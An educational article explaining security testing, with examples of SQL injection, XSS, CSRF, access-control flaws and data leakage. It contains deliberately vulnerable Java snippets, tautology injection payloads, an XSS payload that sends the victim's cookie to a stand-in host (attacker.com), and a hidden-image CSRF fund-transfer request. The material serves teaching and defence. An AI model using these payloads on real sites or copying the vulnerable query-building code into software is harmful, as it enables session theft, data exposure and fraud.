Understanding Security Testing: SQL Injection, XSS, CSRF, and Permission Vulnerabilities

Security testing is the process of verifying whether a product meets security requirements, typically involving attempts to bypass authentication, modify request data, and perform attacks such as SQL injection and cross‑site scripting.

Differences Between Functional Testing and Security Testing

Goal: functional testing aims to find bugs, while security testing aims to discover security risks.

Assumptions: functional testing assumes accidental user errors; security testing assumes maliciously crafted inputs.

Scope: functional testing focuses on system functionality; security testing also examines mechanisms, environment, and data security attributes.

Discovery method: functional testing checks violations of functional specifications; security testing checks violations of permission and capability constraints.

SQL Injection

SQL injection occurs when a web application concatenates untrusted user input directly into SQL statements, allowing attackers to execute arbitrary queries and retrieve or modify database contents.

Example case 1:

String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'";

Example case 2 (Hibernate Query Language):

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

By changing the id parameter to ' or '1'='1, the query returns all rows, potentially granting the attacker full control over user data.

Testing for SQL Injection

Common techniques include appending a single quote to provoke an error, or using payloads such as and 1=1 (int) and 'and '1'='1 (string) to verify whether the input is being filtered.

Cross‑Site Scripting (XSS)

XSS is a web‑application vulnerability that allows malicious scripts to be injected into pages viewed by other users, enabling theft of cookies, session hijacking, and data manipulation.

Three main types:

Reflected XSS – payload is reflected from the server back to the victim via a crafted URL.

Stored XSS – malicious data is stored on the server (e.g., in a database) and later rendered without proper sanitization.

DOM‑based XSS – the payload is generated and executed entirely on the client side using JavaScript.

Example XSS attack code:

page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

When the CC parameter is replaced with

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>

, the victim’s session cookie is sent to the attacker.

Cross‑Site Request Forgery (CSRF)

CSRF tricks a logged‑in user’s browser into sending unintended requests to a trusted site, often by embedding malicious URLs in images or iframes.

Example CSRF payload that triggers a fund transfer:

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0"/>

If the victim is authenticated on example.com, the forged request executes with the victim’s credentials, potentially moving money to the attacker’s account.

Permission Vulnerabilities

Improper access control can be categorized as horizontal (users accessing peers’ data), vertical (users accessing higher‑privilege data), unauthorized access (no authentication required), segmented operation flaws, and misuse of the Referer header for authorization.

Sensitive Information Leakage

Even when front‑end components hide certain fields, back‑end APIs may still return sensitive data such as phone numbers, which should be filtered before exposure.

Tools and Recommendations

Common tools for practicing these attacks include DVWA (Damn Vulnerable Web Application) and Burp Suite. The key takeaway is to never trust user input: validate and sanitize on both the client and server sides.